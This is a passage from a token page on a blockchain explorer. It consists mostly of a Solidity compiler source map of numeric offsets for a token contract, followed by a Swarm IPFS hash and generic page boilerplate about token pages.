:6:0;1379:10;3668:22;3660:67;;;;-1:-1:-1;;;3660:67:0;;5812:2:1;3660:67:0;;;5794:21:1;;;5831:18;;;5824:30;5890:34;5870:18;;;5863:62;5942:18;;3660:67:0;5610:356:1;3660:67:0;6641:12:::1;:23:::0;;-1:-1:-1;;;;;;6666:15:0;-1:-1:-1;;;;;6641:23:0;;::::1;6666:15:::0;;;;-1:-1:-1;;;6666:15:0::1;::::0;;6575:114::o;5416:167::-;5494:4;5511:42;1379:10;5535:9;5546:6;5511:9;:42::i;6232:335::-;-1:-1:-1;;;;;6325:19:0;;6317:68;;;;-1:-1:-1;;;6317:68:0;;6173:2:1;6317:68:0;;;6155:21:1;6212:2;6192:18;;;6185:30;6251:34;6231:18;;;6224:62;-1:-1:-1;;;6302:18:1;;;6295:34;6346:19;;6317:68:0;5971:400:1;6317:68:0;-1:-1:-1;;;;;6404:21:0;;6396:68;;;;-1:-1:-1;;;6396:68:0;;6578:2:1;6396:68:0;;;6560:21:1;6617:2;6597:18;;;6590:30;6656:34;6636:18;;;6629:62;-1:-1:-1;;;6707:18:1;;;6700:32;6749:19;;6396:68:0;6376:398:1;6396:68:0;-1:-1:-1;;;;;6475:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6527:32;;1342:25:1;;;6527:32:0;;1315:18:1;6527:32:0;;;;;;;;6232:335;;;:::o;6734:1621::-;-1:-1:-1;;;;;6822:18:0;;;;;;:38;;-1:-1:-1;;;;;;6844:16:0;;;;6822:38;:52;;;;;6873:1;6864:6;:10;6822:52;6814:93;;;;-1:-1:-1;;;6814:93:0;;6981:2:1;6814:93:0;;;6963:21:1;7020:2;7000:18;;;6993:30;7059;7039:18;;;7032:58;7107:18;;6814:93:0;6779:352:1;6814:93:0;3579:7;3606:6;-1:-1:-1;;;;;6923:15:0;;;3606:6;;6923:15;;;;:32;;-1:-1:-1;3579:7:0;3606:6;-1:-1:-1;;;;;6942:13:0;;;3606:6;;6942:13;;6923:32;6920:1376;;;6979:8;;-1:-1:-1;;;6979:8:0;;;;6971:45;;;;-1:-1:-1;;;6971:45:0;;7338:2:1;6971:45:0;;;7320:21:1;7377:2;7357:18;;;7350:30;7416:26;7396:18;;;7389:54;7460:18;;6971:45:0;7136:348:1;6971:45:0;-1:-1:-1;;;;;7035:24:0;;;;;;:18;:24;;;;;;;;7034:25;:52;;;;-1:-1:-1;;;;;;7064:22:0;;;;;;:18;:22;;;;;;;;7063:23;7034:52;7031:1120;;;7128:4;-1:-1:-1;;;;;7114:19:0;;;7106:65;;;;-1:-1:-1;;;7106:65:0;;7691:2:1;7106:65:0;;;7673:21:1;7730:2;7710:18;;;7703:30;7769:34;7749:18;;;7742:62;-1:-1:-1;;;7820:18:1;;;7813:31;7861:19;;7106:65:0;7489:397:1;7106:65:0;7227:4;7190:16;5384;;;:7;:16;;;;;;7280:12;;-1:-1:-1;;;;7190:16:0;-1:-1:-1;;;;;7272:20:0;;;7280:12;;7272:20;:68;;7304:11;:36;;7333:7;;-1:-1:-1;;;7333:7:0;;;;7272:68;;7304:36;7331:1;7317:11;4226:1;7327;7317:11;:::i;:::-;7316:16;;;;:::i;:::-;7272:68;;;7295:6;;-1:-1:-1;;;7295:6:0;;;;7272:68;7256:84;-1:-1:-1;7359:18:0;7380:28;7404:3;7380:19;:6;:19;;;:10;:19::i;:::-;:23;;:28::i;:::-;-1:-1:-1;;;;;7443:13:0;;;;;;:7;:13;;;;;;7359:49;;-1:-1:-1;7443:25:0;;7461:6;7443:17;:25::i;:::-;-1:-1:-1;;;;;7427:13:0;;;;;;:7;:13;;;;;:41;7501:39;7517:22;:6;7528:10;7517;:22::i;:::-;-1:-1:-1;;;;;7501:11:0;;;;;;:7;:11;;;;;;;:15;:39::i;:::-;-1:-1:-1;;;;;7487:11:0;;;;;;:7;:11;;;;;:53;7562:14;;7559:128;;7635:15;;-1:-1:-1;;;;;7635:15:0;7627:24;;;;:7;:24;;;;;;:40;;7656:10;7627:28;:40::i;:::-;7608:15;;-1:-1:-1;;;;;7608:15:0;7600:24;;;;:7;:24;;;;;:67;7559:128;7087:615;;;6920:1376;;7031:1120;7778:4;7739:18;5384:16;;;:7;:16;;;;;;7806:14;;;;;:29;;-1:-1:-1;7825:10:0;;-1:-1:-1;;;7825:10:0;;;;7824:11;7806:29;7803:217;;;7859:10;:17;;-1:-1:-1;;;;7859:17:0;-1:-1:-1;;;7859:17:0;;;7926:74;7987:11;4226:1;7872:4;7987:11;:::i;:::-;7955:29;7970:13;4226:1;7970:2;:13;:::i;:::-;7955:10;;:14;:29::i;:::-;:44;;;;:::i;:::-;7934:15;;-1:-1:-1;;;;;7934:15:0;7926:24;;;;:7;:24;;;;;;;:28;:74::i;:::-;7907:15;;-1:-1:-1;;;;;7907:15:0;7899:24;;;;:7;:24;;;;;:101;7803:217;-1:-1:-1;;;;;8054:13:0;;;;;;:7;:13;;;;;;:25;;8072:6;8054:17;:25::i;:::-;-1:-1:-1;;;;;8038:13:0;;;;;;;:7;:13;;;;;;:41;;;;8112:11;;;;;;;:23;;8128:6;8112:15;:23::i;:::-;-1:-1:-1;;;;;8098:11:0;;;;;;:7;:11;;;;;:37;-1:-1:-1;6920:1376:0;;;-1:-1:-1;;;;;8207:13:0;;;;;;:7;:13;;;;;;:25;;8225:6;8207:17;:25::i;:::-;-1:-1:-1;;;;;8191:13:0;;;;;;;:7;:13;;;;;;:41;;;;8261:11;;;;;;;:23;;8277:6;8261:15;:23::i;:::-;-1:-1:-1;;;;;8247:11:0;;;;;;:7;:11;;;;;:37;6920:1376;8336:2;-1:-1:-1;;;;;8321:26:0;8330:4;-1:-1:-1;;;;;8321:26:0;;8340:6;8321:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;2437:190:0;2523:7;2559:12;2551:6;;;;2543:29;;;;-1:-1:-1;;;2543:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2583:9:0;2595:5;2599:1;2595;:5;:::i;:::-;2583:17;2437:190;-1:-1:-1;;;;;2437:190:0:o;2635:246::-;2693:7;2717:1;2722;2717:6;2713:47;;-1:-1:-1;2747:1:0;2740:8;;2713:47;2770:9;2782:5;2786:1;2782;:5;:::i;:::-;2770:17;-1:-1:-1;2815:1:0;2806:5;2810:1;2770:17;2806:5;:::i;:::-;:10;2798:56;;;;-1:-1:-1;;;2798:56:0;;8760:2:1;2798:56:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:31;8930:19;;2798:56:0;8558:397:1;2798:56:0;2872:1;2635:246;-1:-1:-1;;;2635:246:0:o;2887:132::-;2945:7;2972:39;2976:1;2979;2972:39;;;;;;;;;;;;;;;;;:3;:39::i;2293:136::-;2351:7;2378:43;2382:1;2385;2378:43;;;;;;;;;;;;;;;;;:3;:43::i;2106:179::-;2164:7;;2196:5;2200:1;2196;:5;:::i;:::-;2184:17;;2225:1;2220;:6;;2212:46;;;;-1:-1:-1;;;2212:46:0;;9292:2:1;2212:46:0;;;9274:21:1;9331:2;9311:18;;;9304:30;9370:29;9350:18;;;9343:57;9417:18;;2212:46:0;9090:351:1;3027:189:0;3113:7;3148:12;3141:5;3133:28;;;;-1:-1:-1;;;3133:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3172:9:0;3184:5;3188:1;3184;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1586:328::-;1663:6;1671;1679;1732:2;1720:9;1711:7;1707:23;1703:32;1700:52;;;1748:1;1745;1738:12;1700:52;1771:29;1790:9;1771:29;:::i;:::-;1761:39;;1819:38;1853:2;1842:9;1838:18;1819:38;:::i;:::-;1809:48;;1904:2;1893:9;1889:18;1876:32;1866:42;;1586:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:127::-;2625:10;2620:3;2616:20;2613:1;2606:31;2656:4;2653:1;2646:15;2680:4;2677:1;2670:15;2696:422;2785:1;2828:5;2785:1;2842:270;2863:7;2853:8;2850:21;2842:270;;;2922:4;2918:1;2914:6;2910:17;2904:4;2901:27;2898:53;;;2931:18;;:::i;:::-;2981:7;2971:8;2967:22;2964:55;;;3001:16;;;;2964:55;3080:22;;;;3040:15;;;;2842:270;;;2846:3;2696:422;;;;;:::o;3123:425::-;3217:1;3260:5;3217:1;3274:268;3295:7;3285:8;3282:21;3274:268;;;3352:4;3346;3342:15;3336:4;3333:25;3330:51;;;3361:18;;:::i;:::-;3411:7;3401:8;3397:22;3394:55;;;3431:16;;;;3394:55;3510:22;;;;3470:15;;;;3274:268;;3553:806;3602:5;3632:8;3622:80;;-1:-1:-1;3673:1:1;3687:5;;3622:80;3721:4;3711:76;;-1:-1:-1;3758:1:1;3772:5;;3711:76;3803:4;3821:1;3816:59;;;;3889:1;3884:130;;;;3796:218;;3816:59;3846:1;3837:10;;3860:5;;;3884:130;3921:3;3911:8;3908:17;3905:43;;;3928:18;;:::i;:::-;-1:-1:-1;;3984:1:1;3970:16;;3999:5;;3796:218;;4098:2;4088:8;4085:16;4079:3;4073:4;4070:13;4066:36;4060:2;4050:8;4047:16;4042:2;4036:4;4033:12;4029:35;4026:77;4023:159;;;-1:-1:-1;4135:19:1;;;4167:5;;4023:159;4214:34;4239:8;4233:4;4214:34;:::i;:::-;4284:6;4280:1;4276:6;4272:19;4263:7;4260:32;4257:58;;;4295:18;;:::i;:::-;4333:20;;3553:806;-1:-1:-1;;;3553:806:1:o;4364:923::-;4418:5;4448:8;4438:80;;-1:-1:-1;4489:1:1;4503:5;;4438:80;4537:4;4527:76;;-1:-1:-1;4574:1:1;4588:5;;4527:76;4619:4;4637:1;4632:59;;;;4705:1;4700:185;;4612:273;4700:185;4737:4;4727:8;4724:18;4721:44;;;4745:18;;:::i;:::-;4801:1;4791:8;4787:16;4778:25;;4829:4;4822:5;4819:15;4816:41;;;4837:18;;:::i;:::-;4870:5;;;4612:273;;4969:2;4959:8;4956:16;4950:3;4944:4;4941:13;4937:36;4931:2;4921:8;4918:16;4913:2;4907:4;4904:12;4900:35;4897:77;4894:213;;;-1:-1:-1;5006:19:1;;;5051:4;5041:15;;5038:41;;;5059:18;;:::i;:::-;5092:5;;4894:213;5139:39;5169:8;5163:4;5139:39;:::i;:::-;5212:6;5206:4;5202:17;5193:7;5190:30;5187:56;;;5223:18;;:::i;5292:140::-;5350:5;5379:47;5420:4;5410:8;5406:19;5400:4;5379:47;:::i;5437:168::-;5477:7;5543:1;5539;5535:6;5531:14;5528:1;5525:21;5520:1;5513:9;5506:17;5502:45;5499:71;;;5550:18;;:::i;:::-;-1:-1:-1;5590:9:1;;5437:168::o;7891:148::-;7979:4;7958:12;;;7972;;;7954:31;;7997:13;;7994:39;;;8013:18;;:::i;8044:154::-;8100:5;8129:63;8186:4;8176:8;8172:19;8165:4;8159;8155:15;8129:63;:::i;8203:128::-;8270:9;;;8291:11;;;8288:37;;;8305:18;;:::i;8336:217::-;8376:1;8402;8392:132;;8446:10;8441:3;8437:20;8434:1;8427:31;8481:4;8478:1;8471:15;8509:4;8506:1;8499:15;8392:132;-1:-1:-1;8538:9:1;;8336:217::o;8960:125::-;9025:9;;;9046:10;;;9043:36;;;9059:18;;:::i

Swarm Source

ipfs://48ebffaefbb03d9334d26dc0e6b781fb7ca1ed86b645618a57518a1d33dc84c2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.